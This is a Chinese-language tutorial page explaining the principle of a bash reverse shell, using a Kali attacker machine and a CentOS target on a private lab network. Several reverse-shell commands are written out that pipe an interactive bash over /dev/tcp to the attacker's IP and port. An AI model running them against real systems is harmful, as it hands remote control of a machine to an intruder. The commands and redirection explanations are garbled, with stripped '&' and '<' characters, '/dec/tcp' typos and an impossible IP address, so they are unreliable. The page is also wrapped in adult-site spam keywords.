婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > 淺析Linux之bash反彈shell原理

淺析Linux之bash反彈shell原理

熱門標簽:如何申請400的電話呀 沈陽ai電銷智能機器人 黑暗之魂3地圖標注 地圖標注審核周期 電商外呼系統排名 蘭州電銷機器人加盟 電話機器人對家居行業幫助大嗎 AI智能電銷機器人壞處 合肥電銷外呼系統供應商

環境

攻擊機:kali            ip:192.168.25.144

靶    機:centos      ip:192.168.25.142

過程

kali 監聽本地8888端口

靶機 centos 寫入 反彈shell 的命令

bash -i > /dev/tcp/192.168.25.144/8888 0>1

攻擊機 kali 成功反彈shell

原理

反彈shell往往是在攻擊者無法直接連接受害者的情況下進行的操作,原因有很多,例如目標是局域網,或者開啟防火墻的某些策略等情況,而這時,我們就可以讓受害者主動向攻擊者發起連接,被控端發起請求到控制端某端口,并將其命令行的輸入輸出轉到控制端,從而實現交互

我們將命令拆開

bash -i 
/dev/tcp/192.168.25.144/8888
 >  0>1

bash

Linux中一般默認的shell是bash,它功能幾乎可以涵蓋shell所具有的功能,所以一般的shell腳本都會指定它為執行路徑

常用的shell有  ash、bash、dash、ksh、csh、zsh 等,不同的shell都有自己的特點以及用途

查詢當前shell命令    ls -l /bin/sh

bash -i  打開一個交互式的bash            shell 如果有 -i 參數,就是交互式的

交互的意思就是可以和用戶進行交互,輸入命令,回顯給用戶就是一個交互的過程,而執行一個shell腳本就是非交互的

使用命令  echo $-  可以查看是否是交互式shell

     

有參數  i ,是交互式的

執行一個shell腳本

 

無參數 i ,非交互式

/dev目錄

dev是設備(device)的英文縮寫。這里主要存放與設備(包括外設)有關的文件,Linux一切皆文件

 /dev/tcp/是Linux中的一個特殊設備,打開這個文件就相當于發出了一個socket調用,建立一個socket連接,讀寫這個文件就相當于在這個socket連接中傳輸數據。同理,Linux中還存在/dev/udp/

/dev/tcp/192.168.25.144/8888

所以上述命令就是和192.168.25.144:8888建立TCP連接

文件描述符

Linux 系統中,把一切都看做是文件,當進程打開現有文件或創建新文件時,內核向進程返回一個文件描述符,文件描述符就是內核為了高效管理已被打開的文件所創建的索引,用來指向被打開的文件。

所有執行I/O操作的系統調用都會通過文件描述符,即文件描述符可控制輸入輸出(輸入/輸出重定向)

標準輸入(stdin):           代碼為  0     使用 或           默認設備鍵盤

標準輸出(stdout):         代碼為  1     使用 > 或 >>          默認設備顯示器

標準錯誤輸出(stderr):  代碼為   2    使用 2> 或 2>>      默認設備顯示器

 ---    +--------+
( 0 ) ---->|dev/tty0|  當開啟一個終端時 默認的文件描述符 指向 /dev/tty0(虛擬終端)
 ---    +--------+ 
             
 ---    +--------+ 
( 1 ) ---->|dev/tty0| 
 ---    +--------+  
   	    	    
 ---    +--------+ 
( 2 ) ---->|dev/tty0| 
 ---    +--------+

大多數Linux 系統命令從你的終端接受輸入并將所產生的輸出發送回​​到您的終端。一個命令通常從一個叫標準輸入的地方讀取輸入,默認情況下,這恰好是你的終端。同樣,一個命令通常將其輸出寫入到標準輸出,默認情況下,這也是你的終端

Shell 輸入/輸出重定向

我們讓上圖  輸出重定向

使用    1>    將輸出結果寫入到 指定文件中    文件不存在則創建文件,文件如果存在會覆蓋原文件內容

省略不寫則默認就是 1       同理,輸入重定向  0   省略不寫則默認就是 0

使用  >>   會追內容在文件末尾

結合上面建立的TCP連接

kali攻擊機收到

結合bash -i

在kali得到命令執行結果的回顯

此時我們輸入name,可以看到,標準輸出錯誤并未被重定向

 ---    +--------+
( 0 ) ---->|dev/tty0|
 ---    +--------+ 
            
 ---    +--------+      +------------------+
( 1 ) ---->|dev/tty0|  ---->  |/dev/tcp/host/port|
 ---    +--------+      +------------------+
   	    	    
 ---    +--------+ 
( 2 ) ---->|dev/tty0| 
 ---    +--------+

輸入重定向

在kali攻擊機,輸入

靶機得到輸入指令,標準輸出(默認終端)

 ---    +--------+
( 0 ) ---->|dev/tty0|
 ---    +--------+ 
            
 ---    +--------+      +------------------+
( 1 ) ---->|dev/tty0|  ---->  |/dev/tcp/host/port|
 ---    +--------+      +------------------+
   	    	    
 ---    +--------+ 
( 2 ) ---->|dev/tty0| 
 ---    +--------+

!!!!!!!!!!!!!!!

此時,我們只需要將

bash i  > /dec/tcp/192.168.25.144/8888  和   bash i    /dec/tcp/192.168.25.144/8888  結合

實現在攻擊機 kali 輸入 命令,在kali 機 得到命令回顯,實現了反彈shell

即 使用下面的命令

bash -i > /dev/tcp/192.168.25.144/8888 0>1

效果     kali   ip:192.168.25.140 

此時靶機會輸出在攻擊機所輸入的命令,還有一個問題,標準錯誤輸出 并沒有重定向

補充:

bash 在執行一條指令的時候,首先會檢查命令中存不存在重定向的符號,如果存在那么首先將文件描述符重定向,存在多個則從左往右依次執行

標準輸出與標準錯誤輸出重定向

此時反彈shell語句里邊用到了  >    操作符, 操作符在不同情況下有不通的含義

在   >word  語法中,當word是數字或  字符時,操作符   表示復制 文件描述符 

    而文件描述符的復制格式有     num1num2  和 num1>num2 

    這里兩個都是將文件描述符 num1 復制到 num2 ,兩者的區別是,前者是以只讀的形式打開,后者是以寫的形式打開

    因此 num1num2  和 num1>num2 是等價的(讀/寫方式打開對其沒有任何影響)

    所以上述命令可以修改為     bash -i > /dev/tcp/192.168.25.144/8888 01

   所以    0>1  或者   01

   是對文件描述符的拷貝,是將0[標準輸入]重定向到了1[標準輸出]指向的位置

   此時1[標準輸出]指向的是socket連接文件(第一個  >   )

   重定向完成后,0[標準輸入]也指向了socket連接文件,所以我推測因為拷貝,所以原標準輸出回顯到靶機上(kali上敲的命  令)

 ---    +--------+
( 0 ) ---->|dev/tty0|\

 ---    +--------+ \

            \

 ---    +--------+  ---->  +------------------+
( 1 ) ---->|dev/tty0|  ---->  |/dev/tcp/host/port|
 ---    +--------+      +------------------+
   	    	    
 ---    +--------+ 
( 2 ) ---->|dev/tty0| 
 ---    +--------+

此時標準錯誤輸出 依然未曾改變

在   >word  語法中,當word不是數字或  -  字符時    >  表示將 標準錯誤輸出合并到標準輸出中

     此時與操作符   > 功能一樣     >word 等價于 > word       都相當于        > word  2>1 

    當執行 bash -i  > /dev/tcp/192.168.25.140/9999 0>1   命令時,效果如下 標準輸出錯誤并未被重定向

 

    所以我們執行命令   bash -i  > /dev/tcp/192.168.25.140/9999 0>1 2>1   或

    bash -i  > /dev/tcp/192.168.25.140/9999 0>1       均形成了一個閉合的回路  ,同樣,命令回顯到攻擊機上

   

  實現以下效果形成閉合,即可反彈shell ,而其他一些反彈命令,只要可以形成如下效果即可

 ---    +--------+
( 0 ) ---->|dev/tty0|\

 ---    +--------+ \

            \

 ---    +--------+  ---->  +------------------+
( 1 ) ---->|dev/tty0|  ---->  |/dev/tcp/host/port|
 ---    +--------+  ---->  +------------------+
   	    	    /
 ---    +--------+ /
( 2 ) ---->|dev/tty0| / 
 ---    +--------+
bash -i > /dev/tcp/192.168.146.25.144/8888 1
bash -i > /dev/tcp/192.168.146.25.144/8888 2
bash -i > /dev/tcp/192.168.146.25.144/8888 01
bash -i > /dev/tcp/192.168.146.25.144/8888 02
bash -i > /dev/tcp/192.168.146.25.144/8888 0>1
bash -i > /dev/tcp/192.168.146.25.144/8888 0>2
bash -i > /dev/tcp/192.168.25.144/8888 0>1 2>1

本文借鑒了很多大佬的博客,如有更正的地方。還望指出

參考鏈接:

https://xz.aliyun.com/t/2549

https://www.gnu.org/software/bash/manual/html_node/Redirections.html

http://wiki.bash-hackers.org/howto/redirection_tutorial

https://www.00theway.org/2017/07/11/bash%20%E5%8F%8D%E5%BC%B9shell/

到此這篇關于淺析Linux之bash反彈shell原理的文章就介紹到這了,更多相關Linux bash反彈shell內容請搜索腳本之家以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持腳本之家!

您可能感興趣的文章:
  • linux反彈shell的原理詳解
  • Linux下NC反彈shell命令(推薦)

標簽:河池 通遼 隴南 黔南 常州 淮南 黔南 河北

巨人網絡通訊聲明:本文標題《淺析Linux之bash反彈shell原理》,本文關鍵詞  淺析,Linux,之,bash,反彈,shell,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《淺析Linux之bash反彈shell原理》相關的同類信息!
  • 本頁收集關于淺析Linux之bash反彈shell原理的相關信息資訊供網民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    久久精品噜噜噜成人88aⅴ| 色偷偷成人一区二区三区91| 欧美视频在线不卡| 日韩综合小视频| 99久久er热在这里只有精品66| 91国产成人在线| 日本女人一区二区三区| 精品国免费一区二区三区| 奇米影视一区二区三区| 中文字幕va一区二区三区| 不卡的电视剧免费网站有什么| 亚洲一区二区三区免费视频| 精品久久国产字幕高潮| 日本不卡123| 国产精品嫩草久久久久| 欧美日韩在线观看一区二区| 亚洲v中文字幕| 久久久精品国产免大香伊| 一本一道综合狠狠老| 久久精品72免费观看| 中文字幕日本乱码精品影院| 欧美mv日韩mv国产网站| 欧美在线一区二区| 国产成人小视频| 久久99久久精品| 日本sm残虐另类| 亚洲一区二区中文在线| 国产精品乱人伦| 久久综合久久综合久久综合| 欧美性色黄大片| 成人黄色国产精品网站大全在线免费观看 | 亚洲欧美福利一区二区| 欧美一级一级性生活免费录像| av亚洲精华国产精华精| 国产一区二区三区久久久 | 91精品国产欧美日韩| 一本色道久久综合亚洲精品按摩| 国产成人精品aa毛片| 麻豆精品久久精品色综合| 亚洲精品久久久久久国产精华液| 日本一区二区在线不卡| www国产精品av| 欧美精品一区二区三区在线| 日韩三级伦理片妻子的秘密按摩| 欧美精品第1页| 在线精品视频一区二区| 91麻豆蜜桃一区二区三区| 成人国产精品免费观看视频| 国产一区二区久久| 亚洲日本一区二区| 国产精品福利av| 亚洲情趣在线观看| 久久亚洲精品小早川怜子| 欧美天堂亚洲电影院在线播放| 99v久久综合狠狠综合久久| 99精品一区二区三区| 99久久99久久精品国产片果冻| 欧美三级中文字幕在线观看| 欧美韩国日本一区| 精品中文av资源站在线观看| 亚洲bdsm女犯bdsm网站| 亚洲国产成人porn| 亚洲成va人在线观看| 天天影视色香欲综合网老头| 日韩精品成人一区二区在线| 日本中文字幕不卡| 五月婷婷久久丁香| 国产自产视频一区二区三区| 亚洲一区二区三区在线看| 欧美一区二区美女| 日韩视频一区二区三区在线播放| 91精品一区二区三区久久久久久| 久久99热这里只有精品| 国产一区二区久久| aaa国产一区| 欧美男男青年gay1069videost| 91精品国产综合久久香蕉的特点| 欧美性生交片4| 欧美午夜一区二区三区免费大片| 久久色.com| 日本在线不卡视频| 成人免费观看视频| 久久美女高清视频| 免费在线观看日韩欧美| 97久久久精品综合88久久| 久久久久国产精品麻豆 | 亚洲狠狠爱一区二区三区| 成人一区二区视频| 国产欧美精品一区二区色综合 | av电影在线观看一区| 欧美一卡二卡在线| 日本成人在线看| 亚洲伦理在线精品| 成人性视频免费网站| 久久美女高清视频| 国产曰批免费观看久久久| 9191精品国产综合久久久久久| 亚洲福利电影网| 欧美精品一级二级三级| 午夜一区二区三区视频| 在线精品国精品国产尤物884a | 激情综合网av| 精品日韩欧美在线| 国产精品99久久久久久久女警| 久久嫩草精品久久久久| 国产91综合一区在线观看| 中文av字幕一区| www.欧美亚洲| 亚洲在线中文字幕| 欧美日韩另类一区| 麻豆精品视频在线观看| 日本一区二区三区高清不卡| k8久久久一区二区三区| 一区二区三区精品| 制服丝袜中文字幕一区| 六月丁香婷婷色狠狠久久| 精品久久久久久最新网址| 国产成人精品免费一区二区| 国产精品国产a级| 日本国产一区二区| 日本v片在线高清不卡在线观看| 日韩欧美亚洲一区二区| 国产精品一区二区在线播放| 亚洲丝袜制服诱惑| 91精品国产91热久久久做人人| 国产一区二区三区综合| 亚洲欧美另类图片小说| 91精品国产品国语在线不卡| 丁香六月久久综合狠狠色| 亚洲午夜电影在线观看| 精品粉嫩aⅴ一区二区三区四区| 成人精品鲁一区一区二区| 亚洲国产aⅴ成人精品无吗| 亚洲精品一区二区三区蜜桃下载 | 久久精品亚洲乱码伦伦中文| 97精品国产露脸对白| 久久99日本精品| 亚洲大片免费看| 国产精品女同互慰在线看| 日韩一卡二卡三卡国产欧美| 91在线观看高清| 国产精品一级在线| 午夜日韩在线电影| 中文字幕一区在线观看视频| 欧美成人a∨高清免费观看| 在线精品视频一区二区三四| 丁香天五香天堂综合| 日韩精品一二三区| 国产精品久99| 欧美精品一区二区三区一线天视频| 欧美亚洲图片小说| jiyouzz国产精品久久| 欧美精品亚洲一区二区在线播放| 亚洲欧美自拍偷拍色图| 处破女av一区二区| 精品国产免费一区二区三区香蕉| 婷婷国产v国产偷v亚洲高清| 欧美精品一卡两卡| 日本成人在线电影网| 精品免费国产二区三区| 国产一区二区三区精品欧美日韩一区二区三区 | 精品国产一区二区在线观看| 首页国产丝袜综合| 久久青草国产手机看片福利盒子| 粉嫩蜜臀av国产精品网站| 亚洲视频小说图片| 91精品国产色综合久久| 久久97超碰色| 中文字幕在线观看一区二区| 欧美色图天堂网| 久久成人免费网| 中文字幕在线播放不卡一区| 91精品国产综合久久久久久漫画 | 成人av网址在线观看| 亚洲乱码中文字幕| 91精品国产麻豆国产自产在线 | 国产精品资源在线观看| 亚洲黄色录像片| 精品日韩在线观看| 91丨九色丨蝌蚪富婆spa| 偷拍一区二区三区| 亚洲国产成人在线| 欧美日韩高清影院| eeuss鲁片一区二区三区在线观看| 丝瓜av网站精品一区二区| 中文字幕日韩av资源站| 精品国产亚洲一区二区三区在线观看| 91蝌蚪国产九色| 成人手机在线视频| 国内成人精品2018免费看| 亚洲成在线观看| 一区二区三区资源| 国产欧美1区2区3区| 91麻豆精品国产91久久久久久久久| 北条麻妃国产九九精品视频| 激情综合色播五月| 日本在线不卡一区| 天天综合网 天天综合色| 亚洲黄色尤物视频| 亚洲精品你懂的|